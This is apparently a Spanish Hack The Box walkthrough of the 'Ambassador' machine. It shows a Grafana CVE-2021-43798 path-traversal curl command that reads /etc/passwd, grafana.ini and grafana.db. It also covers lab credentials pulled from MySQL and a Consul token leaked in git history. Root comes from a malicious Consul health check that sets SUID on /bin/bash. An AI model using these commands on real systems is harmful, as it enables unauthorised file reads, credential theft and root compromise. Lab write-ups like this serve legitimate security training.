the_open_door
café
ESEN

Ambassador

HackTheBoxMediaLinux10.10.11.183

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#grafana#cve-2021-43798#path-traversal#arbitrary-file-read#mysql#base64#git#consul#service-discovery#rce
TL;DR. Ambassador expone un Grafana v8.2.0 vulnerable a la lectura arbitraria de ficheros (CVE-2021-43798). Leyendo grafana.ini se obtiene admin:messageInABottle685427; ya autenticados, la API de datasources revela la contraseña de MySQL. En la base whackywidget la tabla users guarda la clave de developer en base64 (anEnglishManInNewYork027468), válida para SSH (reutilización). En /opt/my-app, el historial de git filtra un CONSUL_HTTP_TOKEN; con él se abusa de HashiCorp Consul (ejecución de scripts de health-check) para hacer /bin/bash SUID y obtener root.

Reconocimiento

Ping

ping -c 1 10.10.11.183

ping a 10.10.11.183: ttl=63 apunta a Linux

PING 10.10.11.183 (10.10.11.183) 56(84) bytes of data.
64 bytes from 10.10.11.183: icmp_seq=1 ttl=63 time=104 ms

TTL 63 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 63 = 64−1; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.

Escaneo UDP

Antes del TCP conviene mirar UDP, porque es el que casi nadie escanea y donde suelen esconderse SNMP, TFTP o DNS. Se limita a los 100 puertos más comunes porque UDP no confirma conexión y un barrido completo tardaría horas:

nmap -sU --min-rate 5000 -Pn -n -vvv --open --top-ports 100 10.10.11.183 | grep -v 'no-response'

el escaneo UDP de los 100 puertos más comunes no devuelve ningún puerto abierto

Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-15 16:31 UTC
Initiating UDP Scan at 16:31
Scanning 10.10.11.183 [100 ports]
Completed UDP Scan at 16:31, 1.08s elapsed (100 total ports)
Nmap scan report for 10.10.11.183
Host is up, received user-set (0.15s latency).
Scanned at 2025-11-15 16:31:34 UTC for 1s
Not shown: 6 closed udp ports (port-unreach)
PORT        STATE           SERVICE         REASON

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 1.16 seconds
           Raw packets sent: 252 (15.520KB) | Rcvd: 6 (520B)

La tabla PORT sale vacía: nada abierto por UDP. El grep -v 'no-response' es lo que evita que la salida se llene con los 94 puertos que no contestaron. Descartado UDP, vamos al TCP.

Escaneo de puertos TCP

El barrido completo se lanza con jmap, una función del .zshrc que pide la IP y guarda la salida en formato grepable:

jmap

jmap escanea los 65535 puertos de 10.10.11.183 y descubre 22, 80, 3000 y 3306 con ttl 63

[+] Introduce una IP

10.10.11.183

Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-15 16:31 UTC
Initiating SYN Stealth Scan at 16:31
Scanning 10.10.11.183 [65535 ports]
Discovered open port 3306/tcp on 10.10.11.183
Discovered open port 22/tcp on 10.10.11.183
Discovered open port 80/tcp on 10.10.11.183
Discovered open port 3000/tcp on 10.10.11.183
Completed SYN Stealth Scan at 16:32, 15.03s elapsed (65535 total ports)
Nmap scan report for 10.10.11.183
Host is up, received user-set (0.13s latency).
Scanned at 2025-11-15 16:31:51 UTC for 15s
Not shown: 65531 closed tcp ports (reset)
PORT     STATE SERVICE REASON
22/tcp   open  ssh     syn-ack ttl 63
80/tcp   open  http    syn-ack ttl 63
3000/tcp open  ppp     syn-ack ttl 63
3306/tcp open  mysql   syn-ack ttl 63

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 15.13 seconds
           Raw packets sent: 73848 (3.249MB) | Rcvd: 73828 (2.953MB)

El cuerpo de la función, para reproducirlo sin ella:

jmap () {
        echo -e "\n[+] Introduce una IP\n"
        read ip
        echo
        sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open $ip -oG scan
}

Cuatro puertos, y dos merecen atención inmediata: el 3306 es un MySQL expuesto a la red (lo normal es que solo escuche en localhost), y el 3000 lo etiqueta como ppp, que es lo que nmap dice cuando no reconoce el servicio.

extractPorts lee ese fichero grepable y deja la lista en el portapapeles:

extractPorts scan

extractPorts imprime IP 10.10.11.183 y puertos 22,80,3000,3306 y los copia al portapapeles

Extracting information ...
IP Address: 10.10.11.183
Open ports: 22,80,3000,3306

Ports copied to clipboard

IP Address: 10.10.11.183
Open ports: 22,80,3000,3306
extractPorts () {
        echo -e "Extracting information..."

        ip_address=$(grep -oP 'Host: \K\S+' "$1" | head -n 1)

        ports=$(grep -oP '\d+(?=/open)' "$1" | tr '\n' ',' | sed 's/,$/\n/')
        echo -e "IP Address: $ip_address"
        echo -e "Open ports: $ports\n"
        {
                echo -e "IP Address: $ip_address"
                echo -e "Open ports: $ports\n"
        } >> extractPorts.tmp
        echo "$ports" | xclip -sel clip
        echo -e "Ports copied to clipboard\n"
        cat extractPorts.tmp
        rm extractPorts.tmp
}

Y el escaneo de versiones y scripts sobre esos cuatro:

jmap2 10.10.11.183 22,80,3000,3306

nmap -sCV: SSH, Apache/Hugo, Grafana en 3000 y MySQL 8.0.30 en 3306

22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Ambassador Development Server
|_http-generator: Hugo 0.94.2
3000/tcp open  http    Grafana http
|_http-title: Grafana
|_Requested resource was /login
3306/tcp open  mysql   MySQL 8.0.30-0ubuntu0.20.04.2
jmap2 () {

        if [ "$#" -ne 2 ]
        then
                echo "Uso: jmap2 <ip> <ports>"
                return 1
        fi

        local ip="$1"
        local ports="$2"
        nmap -p"$ports" -sCV "$ip"

}

Ahora sí tenemos nombres: el 80 sirve un sitio generado con Hugo (un generador de sitios estáticos), y el misterioso 3000 es un Grafana que redirige a /login.

Identificar tecnologías

whatweb sobre el 80 confirma la pila y la versión de Hugo:

whatweb http://10.10.11.183

whatweb sobre el puerto 80 identifica Apache 2.4.41 sobre Ubuntu y MetaGenerator Hugo 0.94.2

http://10.10.11.183 [200 OK] Apache[2.4.41], Country[RESERVED][ZZ], HTML5,
  HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.11.183],
  MetaGenerator[Hugo 0.94.2], Open-Graph-Protocol[website],
  Title[Ambassador Development Server], X-UA-Compatible[IE=edge]

Y sobre el 3000 aparece el dato que decide la máquina:

whatweb http://10.10.11.183:3000

whatweb sobre el 3000 sigue el redirect a /login y devuelve Grafana 8.2.0

http://10.10.11.183:3000 [302 Found] Cookies[redirect_to], Country[RESERVED][ZZ],
  HttpOnly[redirect_to], IP[10.10.11.183], RedirectLocation[/login],
  UncommonHeaders[x-content-type-options], X-Frame-Options[deny],
  X-XSS-Protection[1; mode=block]
http://10.10.11.183:3000/login [200 OK] Country[RESERVED][ZZ], Grafana[8.2.0], HTML5,
  IP[10.10.11.183], Script, Title[Grafana], UncommonHeaders[x-content-type-options],
  X-Frame-Options[deny], X-UA-Compatible[IE=edge], X-XSS-Protection[1; mode=block]

Grafana 8.2.0. Una versión exacta es media máquina resuelta.

Wappalyzer, desde el navegador, dice lo mismo desde otro ángulo:

Wappalyzer sobre el puerto 80: Apache HTTP Server 2.4.41, Ubuntu y el generador estático Hugo 0.94.2

Ambassador Development Server

Technologies
  Miscellaneous:            RSS, Open Graph
  Web servers:              Apache HTTP Server 2.4.41
  Operating systems:        Ubuntu
  Static site generators:   Hugo 0.94.2

Wappalyzer sobre el login de Grafana: Go, React, AngularJS, Sentry y la versión v8.2.0 en el pie

Welcome to Grafana

Analytics:              Grafana
Programming languages:  Go
JavaScript frameworks:  Emotion, React, AngularJS 1.8.2
Operating systems:      Ubuntu
Issue trackers:         Sentry
Web frameworks:         Macaron
JavaScript libraries:   Lodash 4.17.21

Documentation | Support | Community | Open Source | v8.2.0 (d7f71e9eae)

El pie de la propia página de Grafana confirma la versión con su hash de commit: v8.2.0 (d7f71e9eae). Es la fuente más fiable de todas, porque la escribe la aplicación.

Código fuente

Antes de fuzzear, una mirada al HTML de ambos servicios:

el código fuente del puerto 80: una plantilla de Hugo con meta generator y robots noindex

<!DOCTYPE html>
<html lang="en-us">
  <head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
    <title>Ambassador Development Server</title>
    <meta name="viewport" content="width=device-width,minimum-scale=1">
    <meta name="description" content="">
    <meta name="generator" content="Hugo 0.94.2" />
    <meta name="robots" content="noindex, nofollow">
<link rel="stylesheet" href="/ananke/css/main.min.css" >
    <link href="/index.xml" rel="alternate" type="application/rss+xml" title="Ambassador Development Server" />
    <meta property="og:title" content="Ambassador Development Server" />

el código fuente del login de Grafana: JavaScript de compatibilidad de navegador y el objeto grafanaBootData

var isEdgeVersion = /Edge\/([0-9.]+)/.exec(navigator.userAgent);
...
if (!checkBrowserCompatibility()) {
  alert('Your browser is not fully supported, please try newer version.');
}
window.grafanaBootData = {
  user: {"isSignedIn":false,"id":0,"login":"","email":"","name":"","lightTheme":false,"orgCount"...
  settings: {"alertingEnabled":true,"alertingErrorOrTimeout":"alerting","alertingMinInterval":1...
  navTree: [{"id":"dashboards","text":"Dashboards","subTitle":"Manage dashboards and folders",...
  themePaths: {
    light: 'public/build/grafana.light.44d64797ac0596ba280b.css',
    dark: 'public/build/grafana.dark.44d64797ac0596ba280b.css'
  }
};

Nada explotable, pero el grafanaBootData confirma que no hay sesión ("isSignedIn":false) y el tema de Hugo (ananke) es la plantilla por defecto. Toca enumerar rutas.

Descubrimiento de rutas

dirsearch -u http://10.10.11.183/ --exclude-status=403,404

dirsearch sobre el puerto 80 encuentra categories, images, index.xml, posts, sitemap.xml y tags

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Target: http://10.10.11.183/

[16:40:27] Starting:
[16:40:38] 200 -  753B  - /404.html
[16:40:56] 301 -  317B  - /categories   ->  http://10.10.11.183/categories/
[16:41:10] 200 -  473B  - /images/
[16:41:10] 301 -  313B  - /images   ->  http://10.10.11.183/images/
[16:41:10] 200 -  574B  - /index.xml
[16:41:27] 301 -  312B  - /posts   ->  http://10.10.11.183/posts/
[16:41:34] 200 -  267B  - /sitemap.xml
[16:41:38] 301 -  311B  - /tags   ->  http://10.10.11.183/tags/
dirsearch -u http://10.10.11.183:3000/ --exclude-status=403,404,401

dirsearch sobre el 3000 encuentra healthz, login, metrics, public, robots.txt y signup

Target: http://10.10.11.183:3000/

[23:22:20] Starting:
[23:23:05] 200 -    2B  - /healthz
[23:23:12] 200 -   26KB - /login
[23:23:12] 200 -   26KB - /login/
[23:23:15] 200 -   39KB - /metrics
[23:23:26] 302 -   31B  - /public   ->  /public/
[23:23:28] 200 -   26B  - /robots.txt
[23:23:32] 200 -   26KB - /signup

Rutas estándar de Grafana. La que importa para lo que viene es /public, que es donde se sirven los plugins.

Descargar y filtrar el contenido

En vez de leer las páginas una a una, se descarga todo con wget -r y se busca por palabras clave. Es más rápido y no se escapa nada:

wget http://10.10.11.183/ -r &>/dev/null
wget http://10.10.11.183:3000/ -r &>/dev/null

dos wget recursivos descargan el contenido de ambos servicios web

(el &>/dev/null silencia el progreso; los ficheros quedan en ./10.10.11.183/ y ./10.10.11.183:3000/)
grep -riE 'dbpass|creds|password|ambassador|pass|user' --text . | grep -v '/10.10.11.183:3000/index.html' | cat -l py

el grep sobre el contenido descargado devuelve una línea clave: Use the developer account to SSH, DevOps will give you the password

./10.10.11.183:3000/robots.txt:User-agent: *
./10.10.11.183/index.html:    <title>Ambassador Development Server</title>
./10.10.11.183/index.html:    <link href="/index.xml" rel="alternate" type="application/rss+xml" title="Ambassador Development Server" />
...
./10.10.11.183/index.html:        Hi there! This server exists to provide developers at Ambassador with a standalone development environment. When you start as a developer at Ambassador, you will be assigned a development server of your own to use.
./10.10.11.183/index.html:Connecting to this machine Use the developer account to SSH, DevOps will give you the password.
./10.10.11.183/index.html:        Ambassador Inc.

De todo el ruido, una sola línea aporta algo: existe una cuenta llamada developer que se usa para entrar por SSH. No tenemos su contraseña, pero ya tenemos el nombre de usuario, que es la mitad del problema.

El grep -v del comando descarta el index.html de Grafana porque es un bundle de JavaScript minificado que ensuciaría la salida entera con falsos positivos. El texto se ve igual en el navegador:

la página /posts/ del puerto 80 con el mensaje de bienvenida y la instrucción de usar la cuenta developer para SSH

Posts

Welcome to the Ambassador Development Server

Hi there! This server exists to provide developers at Ambassador with a standalone
development environment. When you start as a developer at Ambassador, you will be
assigned a development server of your own to use. Connecting to this machine Use the
developer account to SSH, DevOps will give you the password.

Con Grafana delante, lo primero que se prueba son sus credenciales por defecto:

el login de Grafana con admin:admin devuelve Invalid username or password

Welcome to Grafana

Email or username: admin
Password:          admin
[ Log in ]

⚠ Invalid username or password

No cuela. Pero no hace falta adivinar la contraseña: con la versión exacta en la mano, toca buscar vulnerabilidades conocidas.

Acceso: lectura de ficheros en Grafana

Del exploit público al ataque manual

searchsploit -m multiple/webapps/50581.py
grep -v '#' 50581.py | cat -l py

searchsploit descarga el exploit 50581.py para Grafana 8.3.0 Directory Traversal, con el CVE-2021-43798

  Exploit: Grafana 8.3.0 - Directory Traversal and Arbitrary File Read
      URL: https://www.exploit-db.com/exploits/50581
     Path: /usr/share/exploitdb/exploits/multiple/webapps/50581.py
    Codes: CVE-2021-43798
 Verified: False
File Type: Python script, ASCII text executable
Copied to: /home/krmena/machines/ambassador/content/50581.py

El exploit dice 8.3.0 y la máquina corre 8.2.0. Eso no lo descarta: la vulnerabilidad se corrigió en 8.3.1, así que todas las versiones anteriores están afectadas. En lugar de ejecutarlo a ciegas, se lee para entender qué hace.

el código del exploit 50581.py comienza con una lista de plugins de Grafana: alertlist, annolist, barchart, candlestick, cloudwatch...

import requests
import argparse
import sys
from random import choice

plugin_list = [
    "alertlist",
    "annolist",
    "barchart",
    "bargauge",
    "candlestick",
    "cloudwatch",
    "dashlist",
    "elasticsearch",
    "gauge",
    "geomap",
    "gettingstarted",
    "grafana-azure-monitor-datasource",
    "graph",
    "heatmap",
    "histogram",
    "influxdb",
    ...

la función exploit() del script construye la URL concatenando /public/plugins/, un plugin al azar y una cadena de ../ antes del fichero objetivo

    "opentsdb",
    "piechart",
    "pluginlist",
    "postgres",
    "prometheus",
    "stackdriver",
    "stat",
    "state-timeline",
    "status-histor",
    "table",
    "table-old",
    "tempo",
    "testdata",
    "text",
    "timeseries",
    "welcome",
    "zipkin"
]

def exploit(args):
    s = requests.Session()
    headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.' }

    while True:
        file_to_read = input('Read file > ')

        try:
            url = args.host + '/public/plugins/' + choice(plugin_list) + '/../../../../../../../../../../../..' + file_to_read
            req = requests.Request(method='GET', url=url, headers=headers)
            prep = req.prepare()
            prep.url = url
            r = s.send(prep, verify=False, timeout=3)

Leído el código, el mecanismo queda claro y cabe en una línea: se pide /public/plugins/<plugin>/ seguido de una ristra de ../. El único requisito es que el plugin exista, porque Grafana solo entra en la rutina de servir ficheros si reconoce el nombre; por eso el script prueba con una lista. Con esto ya no hace falta el exploit: basta un curl.

CVE-2021-43798: path traversal

Grafana ≤ 8.3.0 sirve los plugins en /public/plugins/<plugin>/ sin sanear el .., lo que permite una lectura arbitraria de ficheros sin autenticación. Usando el primer plugin de la lista (alertlist) y retrocediendo directorios se lee /etc/passwd:

curl 'http://10.10.11.183:3000/public/plugins/alertlist/../../../../../../../../../../etc/passwd' --path-as-is

el path traversal de Grafana lee /etc/passwd: root y developer con shell

root:x:0:0:root:/root:/bin/bash
developer:x:1000:1000:developer:/home/developer:/bin/bash
consul:x:997:997::/home/consul:/bin/false

El --path-as-is es imprescindible: sin él, curl normaliza los ../ antes de enviar la petición y el traversal nunca llega al servidor.

Tres lecturas de este /etc/passwd. Confirma el usuario developer que anunciaba la web. Confirma que solo él y root tienen shell interactiva. Y añade uno nuevo, consul, con /bin/false: una cuenta de servicio que ahora mismo no dice nada, pero que reaparecerá al final.

El mismo fallo lee el fichero de configuración de Grafana, donde está la contraseña de administración:

curl 'http://10.10.11.183:3000/public/plugins/alertlist/../../../../../../../../../../etc/grafana/grafana.ini' \
  --path-as-is | grep -v '#' | grep -E 'admin|pass'

grafana.ini revela admin_password = messageInABottle685427

admin_user = admin
admin_password = messageInABottle685427

Los dos grep encadenados no son adorno: grafana.ini tiene cientos de líneas y casi todas están comentadas, así que el primero (grep -v '#') quita los comentarios y el segundo se queda con lo que interesa.

Autenticarse en Grafana

admin : messageInABottle685427

el login de Grafana relleno con admin y la contraseña recuperada de grafana.ini

Welcome to Grafana

Email or username: admin
Password:          messageInABottle685427
[ Log in ]

Documentation | Support | Community | Open Source | v8.2.0 (d7f71e9eae)

el perfil de Grafana ya autenticado como admin, con el correo admin@localhost

admin
  Preferences | Change password

Edit profile
  Name:     (vacío)
  Email:    admin@localhost
  Username: admin

Dentro. Aquí se probó también la CVE-2024-9264, una inyección de comandos post-autenticación en la función de SQL Expressions, pero requiere que la máquina tenga instalado el binario duckdb y aquí no está: vector descartado. Lo que sí da fruto es lo obvio: pedirle a Grafana sus propias fuentes de datos.

La API de datasources

Un administrador de Grafana puede consultar la configuración de todas las conexiones a bases de datos, contraseñas incluidas:

curl -s -X GET http://10.10.11.183:3000/api/datasources -u admin:messageInABottle685427

la API de datasources devuelve la conexión mysql.yaml con su contraseña en claro, y el cliente mysql conecta tras añadir --skip-ssl-verify-server-cert

[{"id":2,"uid":"uKewFgM4z","orgId":1,"name":"mysql.yaml","type":"mysql","typeName":"MySQL",
"typeLogoUrl":"public/app/plugins/datasource/mysql/img/mysql_logo.svg","access":"proxy","url":"",
"password":"dontStandSoCloseToMe63221!","user":"grafana","database":"grafana","basicAuth":false,
"isDefault":false,"jsonData":{},"readOnly":true}]

La contraseña de MySQL viaja en claro dentro del JSON: dontStandSoCloseToMe63221!, usuario grafana. Y aquí aparece un tropiezo que conviene documentar, porque le pasa a cualquiera:

mysql -u grafana -p -h 10.10.11.183
Enter password:
ERROR 2026 (HY000): TLS/SSL error: self-signed certificate in certificate chain

El servidor MySQL presenta un certificado autofirmado y el cliente lo rechaza. No es un fallo de credenciales: es verificación de TLS. Se salta indicándoselo explícitamente:

mysql -u grafana -p -h 10.10.11.183 --skip-ssl-verify-server-cert
Enter password:
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 40
Server version: 8.0.30-0ubuntu0.20.04.2 (Ubuntu)
...
MySQL [(none)]>

El mismo secreto por otra vía: grafana.db

Merece la pena ver la ruta alternativa, porque no depende de tener credenciales de administrador. Grafana guarda su estado en un SQLite, y ese fichero también se puede robar con el mismo path traversal:

curl 'http://10.10.11.183:3000/public/plugins/alertlist/../../../../../../../../../../var/lib/grafana/grafana.db' --path-as-is > grafana.db
sqlite3 grafana.db

grafana.db descargado (652 KB) y abierto con sqlite3; la tabla data_source contiene la misma contraseña de MySQL

  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
100  652k  100  652k    0     0   203k      0  0:00:03  0:00:03 --:--:--  203k

SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> .table
alert                       login_attempt
alert_configuration         migration_log
alert_instance              ngalert_configuration
alert_notification          org
alert_notification_state    org_user
alert_rule                  playlist
alert_rule_tag              playlist_item
alert_rule_version          plugin_setting
annotation                  preferences
annotation_tag              quota
api_key                     server_lock
cache_data                  session
dashboard                   short_url
...
data_source                 test_data
kv_store                    user
library_element             user_auth
library_element_connection  user_auth_token

sqlite> select * from data_source;
2|1|1|mysql|mysql.yaml|proxy||dontStandSoCloseToMe63221!|grafana|grafana|0|||0|{}|2022-09-01 22:43:03|2025-11-15 16:05:23|0|{}|1|uKewFgM4z

Misma contraseña, obtenida sin autenticarse. Es la vía preferible en un escenario real: el traversal es previo a login y no deja rastro en la tabla login_attempt.

Shell como developer

MySQL: la contraseña en base64

show databases;
use whackywidget;
show tables;
select * from users;

whackywidget.users: developer con la contraseña en base64

MySQL [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| grafana            |
| information_schema |
| mysql              |
| performance_schema |
| sys                |
| whackywidget       |
+--------------------+
6 rows in set (0.110 sec)

MySQL [(none)]> use whackywidget;
Database changed
MySQL [whackywidget]> show tables;
+------------------------+
| Tables_in_whackywidget |
+------------------------+
| users                  |
+------------------------+
1 row in set (0.111 sec)

MySQL [whackywidget]> select * from users;
+-----------+------------------------------------------+
| user      | pass                                     |
+-----------+------------------------------------------+
| developer | YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg== |
+-----------+------------------------------------------+
1 row in set (0.111 sec)

De las seis bases, cuatro son del sistema y grafana es la que ya conocemos. whackywidget es la de la aplicación, y contiene una única tabla con un único registro: el usuario developer que la web anunciaba.

El == final y el juego de caracteres delatan base64, que no es cifrado sino codificación: se revierte sin clave.

echo -n "YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg==" | base64 -d

base64 -d revela anEnglishManInNewYork027468

anEnglishManInNewYork027468

SSH

La contraseña sirve por SSH como developer (reutilización de credenciales):

ssh developer@10.10.11.183

sesión SSH abierta como developer en ambassador

developer@10.10.11.183's password:
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-126-generic x86_64)
...
developer@ambassador:~$
cat user.txt

cat user.txt en el home de developer devuelve la flag de usuario

developer@ambassador:~$ cat user.txt
53fdff0e0f8c8ba55b95e197fa4f0691

Escalada de privilegios

Enumerar el home

Lo primero es mirar el directorio personal incluyendo los ficheros ocultos, que es donde vive la configuración:

alias ls='ls -la'
ls
cat .gitconfig

el listado del home de developer muestra .bash_history enlazado a /dev/null y un .gitconfig; su contenido declara /opt/my-app como safe.directory

developer@ambassador:~$ ls
total 48
drwxr-xr-x 7 developer developer 4096 Sep 14  2022 .
drwxr-xr-x 3 root      root      4096 Mar 13  2022 ..
lrwxrwxrwx 1 root      root         9 Sep 14  2022 .bash_history -> /dev/null
-rw-r--r-- 1 developer developer  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 developer developer 3798 Mar 14  2022 .bashrc
drwx------ 3 developer developer 4096 Mar 13  2022 .cache
-rw-rw-r-- 1 developer developer   93 Sep  2  2022 .gitconfig
drwx------ 3 developer developer 4096 Mar 14  2022 .gnupg
drwxrwxr-x 3 developer developer 4096 Mar 13  2022 .local
-rw-r--r-- 1 developer developer  807 Feb 25  2020 .profile
drwx------ 3 developer developer 4096 Mar 13  2022 snap
drwx------ 2 developer developer 4096 Mar 13  2022 .ssh
-rw-r----- 1 root      developer   33 Nov 15 16:05 user.txt

developer@ambassador:~$ cat .gitconfig
[user]
        name = Developer
        email = developer@ambassador.local
[safe]
        directory = /opt/my-app

Dos cosas. .bash_history es un enlace simbólico a /dev/null, un truco habitual para que no quede rastro de los comandos. Y el .gitconfig declara /opt/my-app como safe directory, lo que es tanto como decir que ahí hay un repositorio git y que este usuario trabaja con él.

Secretos en el historial de git

cd /opt/my-app/
ls
cd .git/
git log

el repositorio /opt/my-app pertenece a root; git log falla por dubious ownership hasta añadirlo como safe.directory, y luego lista cuatro commits

developer@ambassador:~$ cd /opt/my-app/
developer@ambassador:/opt/my-app$ ls
total 24
drwxrwxr-x  5 root root 4096 Mar 13  2022 .
drwxr-xr-x  4 root root 4096 Sep  1  2022 ..
drwxrwxr-x  4 root root 4096 Mar 13  2022 env
drwxrwxr-x  8 root root 4096 Mar 14  2022 .git
-rw-rw-r--  1 root root 1838 Mar 13  2022 .gitignore
drwxrwxr-x  3 root root 4096 Mar 13  2022 whackywidget

developer@ambassador:/opt/my-app$ cd .git/
developer@ambassador:/opt/my-app/.git$ git log
fatal: detected dubious ownership in repository at '/opt/my-app/.git'
To add an exception for this directory, call:

        git config --global --add safe.directory /opt/my-app/.git

developer@ambassador:/opt/my-app/.git$ git config --global --add safe.directory /opt/my-app/.git
developer@ambassador:/opt/my-app/.git$ git log
commit 33a53ef9a207976d5ceceddc41a199558843bf3c (HEAD -> main)
Author: Developer <developer@ambassador.local>
Date:   Sun Mar 13 23:47:36 2022 +0000

    tidy config script

commit c982db8eff6f10f8f3a7d802f79f2705e7a21b55
Author: Developer <developer@ambassador.local>
Date:   Sun Mar 13 23:44:45 2022 +0000

    config script

commit 8dce6570187fd1dcfb127f51f147cd1ca8dc01c6
Author: Developer <developer@ambassador.local>
Date:   Sun Mar 13 22:47:01 2022 +0000

    created project with django CLI

commit 4b8597b167b2fbf8ec35f992224e612bf28d9e51
Author: Developer <developer@ambassador.local>
Date:   Sun Mar 13 22:44:11 2022 +0000

El repositorio es de root, y git se niega a operar sobre repositorios ajenos (dubious ownership, una protección añadida en git 2.35.2). La solución la da el propio mensaje de error, y es exactamente lo que ya había en el .gitconfig del home: añadirlo como directorio seguro.

Cuatro commits, y uno tiene un nombre que invita a mirar: "tidy config script". Limpiar un script de configuración es, muchas veces, quitar de él algo que no debería estar.

git show 33a53
git show c982db

git show del commit tidy config script: el diff elimina la línea que pasaba --token a consul kv put, y el commit anterior la introducía

developer@ambassador:/opt/my-app/.git$ git show 33a53
commit 33a53ef9a207976d5ceceddc41a199558843bf3c (HEAD -> main)
Author: Developer <developer@ambassador.local>
Date:   Sun Mar 13 23:47:36 2022 +0000

    tidy config script

diff --git a/whackywidget/put-config-in-consul.sh b/whackywidget/put-config-in-consul.sh
index 35c08f6..fc51ec0 100755
--- a/whackywidget/put-config-in-consul.sh
+++ b/whackywidget/put-config-in-consul.sh
@@ -1,4 +1,4 @@
 # We use Consul for application config in production, this script will help set the correct values for the app
-# Export MYSQL_PASSWORD before running
+# Export MYSQL_PASSWORD and CONSUL_HTTP_TOKEN before running

-consul kv put --token bb03b43b-1d81-d62b-24b5-39540ee469b5 whackywidget/db/mysql_pw $MYSQL_PASSWORD
+consul kv put whackywidget/db/mysql_pw $MYSQL_PASSWORD

developer@ambassador:/opt/my-app/.git$ git show c982db
commit c982db8eff6f10f8f3a7d802f79f2705e7a21b55
Author: Developer <developer@ambassador.local>
Date:   Sun Mar 13 23:44:45 2022 +0000

    config script

diff --git a/whackywidget/put-config-in-consul.sh b/whackywidget/put-config-in-consul.sh
new file mode 100755
index 0000000..35c08f6
--- /dev/null
+++ b/whackywidget/put-config-in-consul.sh
@@ -0,0 +1,4 @@
+# We use Consul for application config in production, this script will help set the correct values for the app
++# Export MYSQL_PASSWORD before running
+
+consul kv put --token bb03b43b-1d81-d62b-24b5-39540ee469b5 whackywidget/db/mysql_pw $MYSQL_PASSWORD

Los dos diffs cuentan la historia completa. El commit c982db creó el script con el token incrustado; el commit 33a53 lo quitó y cambió el comentario para que se pasara por variable de entorno. El desarrollador hizo lo correcto... tres minutos tarde: el historial conserva la versión anterior, y ahí está el token en claro:

CONSUL_HTTP_TOKEN = bb03b43b-1d81-d62b-24b5-39540ee469b5

Este es el patrón de secretos en el historial de git: borrar una credencial del código no la borra del repositorio, solo la mueve al pasado. La única mitigación real es rotarla.

Qué es Consul y por qué importa

HashiCorp Consul es una plataforma de service discovery y configuración distribuida: los servicios se registran en ella, comparten configuración y se comprueban entre sí. Esa última parte, los health checks, es la que abre el vector: un health check puede definirse como un script local que Consul ejecuta periódicamente, y los checks se declaran en ficheros .hcl que se leen del directorio de configuración al recargar.

Encadenando esas piezas, el ataque necesita dos condiciones:

  1. Que Consul corra como root (así se ejecutará el script como root).
  2. Que el directorio de configuración sea escribible por nosotros (para dejar ahí el .hcl).

Se comprueban las dos de golpe:

ps -faux | grep consul
ls -l /etc/consul.d/

ps muestra consul ejecutándose como root y ls revela que config.d pertenece al grupo developer con permiso de escritura

developer@ambassador:~$ ps -faux | grep consul
root      1098  0.3  3.8 794356 77304 ?  Ssl  16:05  0:45 /usr/bin/consul agent -config-dir=/etc/consul.d/config.d -config-file=/etc/consul.d/consul.hcl
develop+ 94209  0.0  0.0   6432   660 pts/0  S+  20:06  0:00  \_ grep --color=auto consul

developer@ambassador:~$ ls -l /etc/consul.d/
total 24
drwxr-xr-x   3 consul consul    4096 Sep 27  2022 .
drwxr-xr-x 103 root   root      4096 Sep 27  2022 ..
drwx-wx---   2 root   developer 4096 Nov 15 20:04 config.d
-rw-r--r--   1 consul consul       0 Feb 28  2022 consul.env
-rw-r--r--   1 consul consul    5303 Mar 14  2022 consul.hcl
-rw-r--r--   1 consul consul     160 Mar 15  2022 README

Las dos condiciones se cumplen. El proceso es de root (no del usuario consul que veíamos en /etc/passwd, lo cual ya es un fallo de diseño en sí mismo), y config.d tiene permisos drwx-wx--- con grupo developer: la w del grupo nos deja escribir dentro, aunque la falta de r impida listar el contenido.

El health check malicioso

cd /etc/consul.d/config.d/
nano revshell.hcl
cat revshell.hcl
export CONSUL_HTTP_TOKEN=bb03b43b-1d81-d62b-24b5-39540ee469b5
consul reload
ls -l /bin/bash

se crea revshell.hcl con enable_script_checks y un args que ejecuta chmod u+s /bin/bash; tras consul reload, /bin/bash aparece con el bit SUID

developer@ambassador:/etc/consul.d/config.d$ cat revshell.hcl
enable_script_checks = true

check = {
        id = "sfldksjflksdrwerew",
        args = ["/usr/bin/chmod", "u+s /bin/bash"],
        interval = "60s"
}

developer@ambassador:/etc/consul.d/config.d$ export CONSUL_HTTP_TOKEN=bb03b43b-1d81-d62b-24b5-39540ee469b5
developer@ambassador:/etc/consul.d/config.d$ consul reload
Configuration reload triggered
developer@ambassador:/etc/consul.d/config.d$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18  2022 /bin/bash

El fichero tiene tres piezas y todas son necesarias. enable_script_checks = true habilita la ejecución de scripts, que está desactivada por defecto justo por lo que estamos haciendo. args es el comando a ejecutar, aquí un chmod u+s /bin/bash. E interval obliga a que sea un check periódico, no de arranque único.

